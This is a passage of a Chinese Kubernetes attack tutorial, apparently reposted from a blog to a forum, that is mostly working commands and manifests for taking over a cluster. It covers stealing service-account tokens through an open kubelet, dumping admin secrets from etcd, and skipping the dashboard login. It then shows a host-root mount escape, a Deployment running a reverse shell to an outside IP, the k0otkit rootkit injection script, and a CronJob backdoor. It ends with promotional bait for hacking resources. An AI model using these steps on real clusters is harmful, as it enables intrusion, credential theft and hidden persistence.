如果能在Pod内执行命令,那么就可以获取Pod里service account的凭据,使用Pod上的service
account凭据可以用来模仿Pod上的服务账户进行操纵,具体利用方法见下面的末节:[利用Service Account连接API
Server执行指令](#利用Service Account连接API Server执行指令)
![](https://img-
blog.csdnimg.cn/img_convert/a7b1312a93158dcea5cfe40798a98345.png)
利用示例
   环境信息:
  一个集群包含三个节点,此中包括一个控制节点和两个工作节点
  

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160
    攻击机kali
  

  • 192.168.11.128
  访问https://192.168.11.160:10250/pods,出现如下数据表示可以利用:
![](https://img-
blog.csdnimg.cn/img_convert/fecb4d8b55a301abbfe9f34d66cbb300.png)
想要在容器里执行命令的话,我们必要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。


  • metadata.namespace 下的值为 namespace
  • metadata.name下的值为 pod_name
  • spec.containers下的 name 值为 container_name
![](https://img-
blog.csdnimg.cn/img_convert/8f3467e5e2e29b1675c17b8daeb11251.png)
这里可以通过检索securityContext字段快速找到特权容器
![](https://img-
blog.csdnimg.cn/img_convert/90fe283cb6c74bbe7c1f78df522d4956.png)
在对应的容器里执行命令,获取 Token,该token可用于Kubernetes
API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时其实是底层通过证书认证的方式调用Kubernetes API)
token 默认生存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
  1. curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/9df87140ba13535158ec0b5c6c1e1cca.png)
如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
  1. kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/475522c14765cd087f6e8f736c4bb93d.png)
接下来便是通过创建pod来挂载目次,然后用crontab来获得shell了 。


8、etcd
未授权(2379)
etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。如果2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api
server接管集群。
etcd有v2和v3两个版本,k8s用的是v3版本,以是我们在访问etcd的时候必要用命令ETCDCTL_API=3来指定etcd版本。
我们想要利用etcd未授权,必要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它
Releases · etcd-io/etcd · GitHub
   “在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且没有通过iptables /
防火墙等实施访问控制,etcd的接口和数据就会直接袒露给外部黑客”——爱奇艺安全应急相应中央
  利用
下载etcd:[Releases · etcd-io/etcd · GitHub](https://github.com/etcd-
io/etcd/releases “Releases · etcd-io/etcd · GitHub”)
解压后在命令行中进入etcd目次下。
etcdctl api版本切换:
  1. export ETCDCTL_API=2
  2. export ETCDCTL_API=3
复制代码
探测是否存在未授权访问的Client API
  1. etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
复制代码
如果我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。
![](https://img-
blog.csdnimg.cn/img_convert/4849fd551de25e67f0dd2024257c2817.png)
我们必要将以下文件加入环境变量(ca,key,cert)才气访问(如果有未授权,那么不消带证书都能访问)
  1. export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
  2. export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
  3. export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
复制代码
大概直接执行:
  1. etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
复制代码
查询管理员token
我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。
  1. etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/292cc8bd19049e0192f0fb64df727d09.png)
如果查询结果有敏感账户,我们便可以去获取他的token
  1. etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/823b6f667cab9a033f4adc62b9cf391a.png)
拿到token以后,用kubectl接管集群
  1. kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
  2. kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods
复制代码
也可以尝试dump etcd数据库,然后去找敏感信息
  1. ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
复制代码
如果服务器启用了https,必要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify
  1. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
复制代码


9、私有镜像库袒露
举个例子,如果一个企业它的许多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄袒露来了,我们就可以通过审计等本领去挖掘私有镜像中的漏洞,造成供应链打击。


10、Dashboard面板爆破
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。


  • 用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.
  • 为Kubernetes-dashboard绑定cluster-admin(cluster-admin拥有管理集群的最高权限).
利用
默认配置登岸是必要输入 Token 的且不能跳过
![](https://img-
blog.csdnimg.cn/img_convert/6bb22883061a4cd2e83c56b9261ef6f8.png)
但是如果在配置参数中添加了如下参数,那么在登岸的过程中就可以进行跳过 Token 输入环节
  1. - --enable-skip-login
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/e7630ca96ae3a98bf0695541e40a5608.png)
点击Skip进入dashboard现实上使用的是Kubernetes-
dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特别的权限,是默认没有办法达到控制集群恣意功能的水平的。
![](https://img-
blog.csdnimg.cn/img_convert/19bc9790dda0bb118e9005df6964c749.png)
给Kubernetes-dashboard绑定cluster-admin:
  1. apiVersion: rbac.authorization.k8s.io/v1
  2. kind: ClusterRoleBinding
  3. metadata:
  4.   name: dashboard-1
  5. subjects:
  6. - kind: ServiceAccount
  7.   name: k8s-dashboard-kubernetes-dashboard
  8.   namespace: kube-system
  9. roleRef:
  10.   kind: ClusterRole
  11.   name: cluster-admin
  12.   apiGroup: rbac.authorization.k8s.io
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/e5561f7f6503534976f4137cf6e89bcf.png)
绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。
![](https://img-
blog.csdnimg.cn/img_convert/2b3f6ea96f16275271a836e07a14bfae.png)
获取访问后直接创建特权容器即可getshell


0x02
执行


目次挂载逃逸
这个技术是综合了执行、持久化、权限提升的一个攻击方法,为了省事,就放在这里一块说了。
首先,在我们获取了api
server控制权后,我们可以创建Pod,并在Pod内部执行命令。如果我们在创建Pod时,将Node节点的根目次挂载到Pod的某个目次下,由于我们能在Pod内部执行命令,以是我们可以修改挂载到Pod下的Node节点根目次中文件的内容,如果我们写入恶意crontab、web
shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。
具体复现如下
先创建一个恶意Pod
  1. 首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。
  2. 既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么?
  3. Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。
  4. Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。
  5. 使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。
  6. 如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。
  7. 用Pod创建
  8. apiVersion:v1
  9. kind:Pod
  10. metadate:
  11.         name:evilpod
  12. spec:
  13.         containers:
  14.         - image:nginx
  15.           name:container
  16.           volumeMounts:
  17.           - mountPath:/mnt
  18.             name:test-volume
  19.         volumes:
  20.         - name: test-volume
  21.           hostPath:
  22.                   path:/
  23. 用deployment创建
  24. apiVersion: apps/v1
  25. kind:Deployment
  26. metadata:
  27.         name:nginx-deployment
  28.         labels:
  29.                 apps:nginx-test
  30. spec:
  31.         replicas:1
  32.         selector:
  33.                 matchLabels:
  34.                         app:nginx
  35.         template:
  36.                 metadata:
  37.                         labels:
  38.                                 app:nginx
  39.                 spec:
  40.                         containers:
  41.                         - image:nginx
  42.                           name:container
  43.                           volumeMounts:
  44.                           - mountPath : /mnt
  45.                             name: test-volume
  46.                         volumes:
  47.                         - name: test-volume
  48.                           hostPath:
  49.                                   path: /
复制代码
将以上文本写入到一个yaml文件中,然后执行
  1. kubectl apply -f xxxxx.yaml
  2. 如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址:
  3. kubectl -s http://master_ip:8080 command
  4. 这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别:
  5. 两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错
复制代码
恶意容器就创建好了
创建好了后使用命令 kubectl get pods 获取恶意pod的名字
然后使用命令 kubectl exec -it evilpodname /bin/bash
进入pod内部shell,然后向挂载到Pod内部的Node根目次中写入恶意crontab/ssh公钥/webshell即可拿到node的shell。
大致流程一张图表示如下
![](https://img-
blog.csdnimg.cn/img_convert/87186157865c69842d6183c63d146e66.png)


利用Service
Account连接API Server执行指令
k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api
server提供的一些API进行一些活动)
如果我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。
pod的serviceaccount信息一般存放于/var/run/secrets/kubernetes.io/serviceaccount/目次下
但是默认的user大概service account并不具备任何权限
这是默认情况下,一个pod使用自身service account(默认为当前命名空间的default账户)去请求api
server返回的结果,可以发现是没有权限的:
  1. $ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
  2. $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
  3. $ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
  4. $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN"
  5. "https://192.168.111.20:6443/version/"
  6.   "kind": "Status",
  7.   "apiVersion": "v1",
  8.   "metadata": {},
  9.   "status": "Failure",  
  10.   "message": "version is forbidden: User
  11.   "system:serviceaccount:default:default" cannot list resource "version" in API group "" at the cluster scope",
  12.   "reason": "Forbidden",
  13.   "details": {
  14.            "kind": "version"
  15.    },
  16.   "code": 403
复制代码
那么我如今创建一个高权限service account 并使其与一个Pod相关联,来复现一下这个攻击伎俩
首先创建一个高权限service account
  1. kubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi  --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限
复制代码
然后将service account与pod相关联
  1. 在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/be385c1ce66b368ee0a9f16ed40570b8.png)
再试一下,发现可以调用api server了
![](https://img-
blog.csdnimg.cn/img_convert/ec92d6897bab0a8e70d9472a7c96e9b0.png)


0x03
持久化
这里的持久化是指如安在Pod中持久化、如安在Node中持久化、如安在集群中持久化。
如安在Node中持久化,在上一末节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个本领与其说是持久化,不如说是权限提升更符合现实一点,因为这几个本领在现实渗出中都是为了从Pod逃逸出来获取Node权限。
同时,在Pod,Node,Master上做持久化,有大部分方法本质上是“如安在linux呆板上做持久化”,而“如安在linux呆板上做持久化”方法就太多了,这里就只着重于讲述在“云环境”里独有的持久化方法。
在私有镜像库中植入后门(Pod持久化)
如果接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等)
大概编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件更换为精心构造的后门文件之后再次打包成新的镜像。
修改核心组件访问权限(集群持久化)
包括且不限于 更改配置袒露apiserver
8080端口、袒露docker.sock、袒露未授权etcd、袒露未授权kubelet等修改集群配置文件达到持久化的方法。
shadow api server(集群持久化/cdk工具利用)
部署一个额外的未授权且不记录日志的api server以供我们进行持久化。
我们可以用github上专门用于k8s渗出的工具cdk(这个工具很屌)来做到这一点
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
Exploit: k8s shadow apiserver · cdk-team/CDK Wiki ·
GitHub
Deployment
创建容器时,通过启用
DaemonSets、Deployments,可以使容器和子容器纵然被整理掉了也可以规复,攻击者常常利用这个特性进行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。
● Replication Set(RS)
Replication Set简称RS,官方已经保举我们使用 RS 和 Deployment 来代替 RC 了,现实上 RS 和
RC 的功能根本一致,目前唯一的一个区别就是RC 只支持基于等式的 selector。
● Deployment
主要职责和 RC 一样,的都是保证 Pod 的数量和康健,二者大部分功能都是完全一致的,可以当作是一个升级版的 RC 控制器。官方组件
kube-dns、kube-proxy 也都是使用的Deployment来管理。
这里使用Deployment来部署后门
  1. #dep.yaml
  2. apiVersion: apps/v1
  3. kind: Deployment  #确保在任何时候都有特定数量的Pod副本处于运行状态
  4. metadata:
  5.   name: nginx-deploy
  6.   labels:
  7.     k8s-app: nginx-demo
  8. spec:
  9.   replicas: 3  #指定Pod副本数量
  10.   selector:
  11.     matchLabels:
  12.       app: nginx
  13.   template:
  14.     metadata:
  15.       labels:
  16.         app: nginx
  17.     spec:
  18.       hostNetwork: true
  19.       hostPID: true
  20.       containers:
  21.       - name: nginx
  22.         image: nginx:1.7.9
  23.         imagePullPolicy: IfNotPresent
  24.         command: ["bash"] #反弹Shell
  25.         args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
  26.         securityContext:
  27.           privileged: true #特权模式
  28.         volumeMounts:
  29.         - mountPath: /host
  30.           name: host-root
  31.       volumes:
  32.       - name: host-root
  33.         hostPath:
  34.           path: /
  35.           type: Directory
  36. #创建
  37. kubectl create -f dep.yaml
复制代码
Rootkit
这里介绍一个 k8s 的 rootkit,k0otkit 是一种通用的后渗出技术,可用于对 Kubernetes 集群的渗出。使用
k0otkit,您可以以快速、埋伏和连续的方式(反向 shell)操纵目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术:
●DaemonSet和Secret资源(快速持续反弹、资源分离)
● kube-proxy镜像(就地取材)
● 动态容器注入(高埋伏性)
● Meterpreter(流量加密)
● 无文件攻击(高埋伏性)
  1. #生成k0otkit
  2. ./pre_exp.sh
  3. #监听
  4. ./handle_multi_reverse_shell.sh
复制代码
k0otkit.sh的内容复制到master执行:
  1. volume_name=cache
  2. mount_path=/var/kube-proxy-cache
  3. ctr_name=kube-proxy-cache
  4. binary_file=/usr/local/bin/kube-proxy-cache
  5. payload_name=cache
  6. secret_name=proxy-cache
  7. secret_data_name=content
  8. ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
  9. volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
  10. image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
  11. # create payload secret
  12. cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
  13. apiVersion: v1
  14. kind: Secret
  15. metadata:
  16.   name: $secret_name
  17.   namespace: kube-system
  18. type: Opaque
  19. data:
  20.   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
  21. # inject malicious container into kube-proxy pod
  22. kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  23.   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  24.   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: ["sh"]\n        args: ["-c", "echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  25.   | kubectl --kubeconfig /root/.kube/config replace -f -
复制代码
cronjob持久化
CronJob用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。
  1. apiVersion: batch/v1
  2. kind: CronJob  #使用CronJob对象
  3. metadata:
  4.   name: hello
  5. spec:
  6.   schedule: "*/1 * * * *" #每分钟执行一次
  7.   jobTemplate:
  8.     spec:
  9.       template:
  10.         spec:
  11.           containers:
  12.           - name: hello
  13.             image: busybox
  14.             imagePullPolicy: IfNotPresent
  15.             command:
  16.             - /bin/sh
  17.             - -c
  18.             - #反弹Shell或者木马
  19.           restartPolicy: OnFailure
复制代码


0x04
权限提升
指从pod拿到Node的shell,大概拿到集群控制权。
上面的末节提到过一些,比如kubectl未授权、docker.sock、挂载目次、高权限Service account等方法。
除此之外还有Docker、k8s的一些CVE
Docker逃逸如 CVE-2019-5736 ,CVE-2019-14271**,CVE-2020-15257**、CVE-2022-0811
k8s提权到接管集群的如 CVE-2018-1002105 , CVE-2020-8558
docker逃逸可以看之前总结的容器逃逸相关文章,这里说一下特权容器逃逸
特权容器逃逸
当容器启动加上--privileged选项时,容器可以访问宿主机上所有装备。
而K8s配置文件启用了privileged: true:
  1. spec:
  2. containers:
  3. - name: ubuntu
  4. image: ubuntu:latest
  5. securityContext:
  6. privileged: true
复制代码
实战案例:
通过漏洞获取WebShell,查察根目次存在.dockerenv,可通过fdisk -l查察磁盘目次,进行挂载目次逃逸:
  1. #Webshell下操作
  2. fdisk -l
  3. mkdir /tmp/test
  4. mount /dev/sda3 /tmp/test
  5. chroot /tmp/test bash
复制代码


0x05
探测
● 内网扫描
● K8s常用端口探测
● 集群内部网络
是否在容器环境中


  • 根目次下/.dockerenv 文件存在即docker环境
  • /proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中
![](https://img-
blog.csdnimg.cn/img_convert/208f164736769a19df3a34468e676baa.png)


  • 没有常见命令
![](https://img-
blog.csdnimg.cn/img_convert/66825e7acff5cd2bdd2fd80c4b75ecce.png)


  • 查察环境变量中是否有k8s大概docker字符串
![](https://img-
blog.csdnimg.cn/img_convert/07a4696bf54e335f2aaa25fc7baca4d7.png)


  • 查察端口开放情况(netstat -anp),如果开放了一些特别端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判断为是在k8s环境中的一台Node大概master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的呆板
  • 查察当前网段,k8s中 Flannel 网络插件默认使用10.244.0.0/16网络, Calico 默认使用192.168.0.0/16网络,如果出如今这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面命令很少,可以通过hostname -I(大写i)来查察ip地点
![](https://img-
blog.csdnimg.cn/img_convert/d78e9e251f92222c796185705c17675f.png)
集群内网扫描
Kubernetes的网络中存在4种主要范例的通信
● 同一Pod内的容器间通信
● 各Pod彼此间通信
● Pod与Service间的通信
● 集群外部的流量与Service间的通信。
以是和通例内网渗出无区别,nmap、masscan等扫描
K8s常用端口探测
集群内部网络
● Flannel网络插件默认使用10.244.0.0/16网络
●Calico默认使用192.168.0.0/16网络


0x06
横向移动
目的
通常来说,拿到kubeconfig大概能访问apiserver的ServiceAccount token,就代表着控下了整个集群。
但往往在红队攻击中,我们常常要拿到某一类特定重要体系的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而获得节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。
亲和性与反亲和性
一般来说我们部署的Pod是通过集群的自动调度策略来选择节点的,但是因为一些现实业务的需求大概必要控制某些pod调度到特定的节点。就必要用到
Kubernetes 里面的一个概念:亲和性和反亲和性。
亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。


  • 节点亲和性 通俗些形貌就是用来控制 Pod 要部署在哪些节点上,以及不能部署在哪些节点上的
  • pod亲和性和反亲和性 表示pod部署到或不部署到满足某些 label 的pod所在的node上
节点亲和性( nodeAffinity )
节点亲和性主要是用来控制 pod 要部署在哪些主机上,以及不能部署在哪些主机上的,演示一下:
查察node的 label 命令
  1. kubectl get nodes --show-labels
复制代码
给节点打上 label 标签
  1. kubectl label nodes k8s-node01 com=justtest
  2. node/k8s-node01 labeled
复制代码
当node 被打上了相关标签后,在调度的时候就可以使用这些标签了,只必要在 Pod 的spec字段中添加 nodeSelector 字段
  1. apiVersion: v1
  2. kind: Pod
  3. metadata:
  4.   name: node-scheduler
  5. spec:
  6.   nodeSelector:
  7.     com: justtest
复制代码
Pod 亲和性( podAffinity )
pod 亲和性主要处理的是 pod 与 pod 之间的关系,比如一个 pod 在一个节点上了,那么另一个也得在这个节点,大概你这个 pod
在节点上了,那么我就不想和你待在同一个节点上。
污点与容忍度
节点亲和性 是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点可以或许排挤一类特定的 Pod。
污点标记选项:


  • NoSchedule ,表示pod 不会被调度到标记为 taints 的节点
  • PreferNoSchedule ,NoSchedule 的软策略版本,表示只管不调度到污点节点上去
  • NoExecute :该选项意味着一旦 Taint 生效,如该节点内正在运行的pod 没有对应 Tolerate 设置,会直接被逐出
我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,以是我们看到我们平时的 pod 都没有被调度到master
上去。除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是体系级别的Pod,例如kube-system
![](https://img-
blog.csdnimg.cn/img_convert/2e02f0248fc30e65f1b20712c505c278.png)
![](https://img-
blog.csdnimg.cn/img_convert/195f54826204819d7cdb141c63ffbf19.png)
给指定节点标记污点 taint :
  1. kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/399ce594f6ae4914fc0357f8c47075b7.png)
上面将 k8s-node01 节点标记为了污点,影响策略是 NoSchedule,只会影响新的 pod 调度。
由于 node01节点被标记为了污点节点,以是我们这里要想 pod 可以或许调度到 node01节点去, 就必要增长容忍的声明
![](https://img-
blog.csdnimg.cn/img_convert/d2adf0a9cec873136c166998c312c4b5.png)
使用污点和容忍度可以或许使Pod灵活的避开某些节点大概将某些Pod从节点上驱逐。
具体概念可以参考官网文档:[污点和容忍度 |
Kubernetes](https://kubernetes.io/zh/docs/concepts/scheduling-eviction/taint-
and-toleration/ “污点和容忍度 | Kubernetes”)
实现master节点逃逸
比如要想获取到master节点的shell,则可以从这两点思量


  • 去掉“污点”(taints)(生产环境不保举)
  • 让pod可以或许容忍(tolerations)该节点上的“污点”。
查察k8s-master的节点情况,确认Master节点的容忍度:
![](https://img-
blog.csdnimg.cn/img_convert/1f04dda5d691040d4b70ecfde9040084.png)
创建带有容忍参数并且挂载宿主机根目次的Pod
  1. apiVersion: v1
  2. kind: Pod
  3. metadata:
  4.   name: myapp2
  5. spec:
  6.   containers:
  7.   - image: nginx
  8.     name: test-container
  9.     volumeMounts:
  10.     - mountPath: /mnt
  11.       name: test-volume
  12.   tolerations:
  13.   - key: node-role.kubernetes.io/master
  14.     operator: Exists
  15.     effect: NoSchedule
  16.   volumes:
  17.   - name: test-volume
  18.     hostPath:
  19.       path: /
  20. kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
  21. kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash
复制代码
![](https://img-
blog.csdnimg.cn/img_convert/ecef86d8f848520b5af158ef5b595d5a.png)
![](https://img-
blog.csdnimg.cn/img_convert/1f7c00b387ba1da9e4a481e42598eb54.png)
之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。
![](https://img-
blog.csdnimg.cn/img_convert/a022b41c3ad59692c5d637e75b481256.png)


四、后渗出&集群持久化
K8S后渗出横向节点与持久化埋伏方式探索


五、参考
https://www.const27.com/2022/03/13/k8s安全
入门学习/ (k8s基础、攻击矩阵)
https://paper.seebug.org/1803/(k8s攻击矩阵)
K8S云原生环境渗出学习 - 先知社区
(K8S云原生环境渗出学习)
K8S后渗出横向节点与持久化埋伏方式探索 (K8S后渗出横向节点与持久化埋伏方式探索)
K8S API访问控制之RBAC利用
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 基础知识 |
Kubernetes(k8s官方教程,有交互式操纵界面,稍微有点欠好的是有些地方没有中文)
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

最后给大家分享我自己学习的一份全套的网络安全学习资料,盼望对想学习 网络安全的小伙伴们有资助!
零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了具体的学习成长蹊径图。可以说是最科学最体系的学习蹊径,大家跟着这个大的方向学习准没标题。
读者福利 |  CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
1.网络安全学习蹊径图

要学习一门新的技术,作为新手一定要先学习成长蹊径图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了具体的学习成长蹊径图&学习规划。可以说是最科学最体系的学习蹊径,大家跟着这个大的方向学习准没标题。

2.视频教程

网上虽然也有很多的学习资源,但根本上都残缺不全的,这是我自己录的网安视频教程,上面蹊径图的每一个知识点,我都有配套的视频讲解。
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

(都打包成一块的了,不能一一展开,统共300多集)
3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取册本】

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络垂纶等,感爱好的同学不容错过。

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些标题都是大家在面试深信服、奇安信、腾讯大概其它大厂面试时常常遇到的,如果大家有好的标题大概好的见解欢迎分享。
参考剖析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清楚,含图像化表示更加易懂。
内容概要:包括 内网、操纵体系、协议、渗出测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

读者福利 |  CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万万哇

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表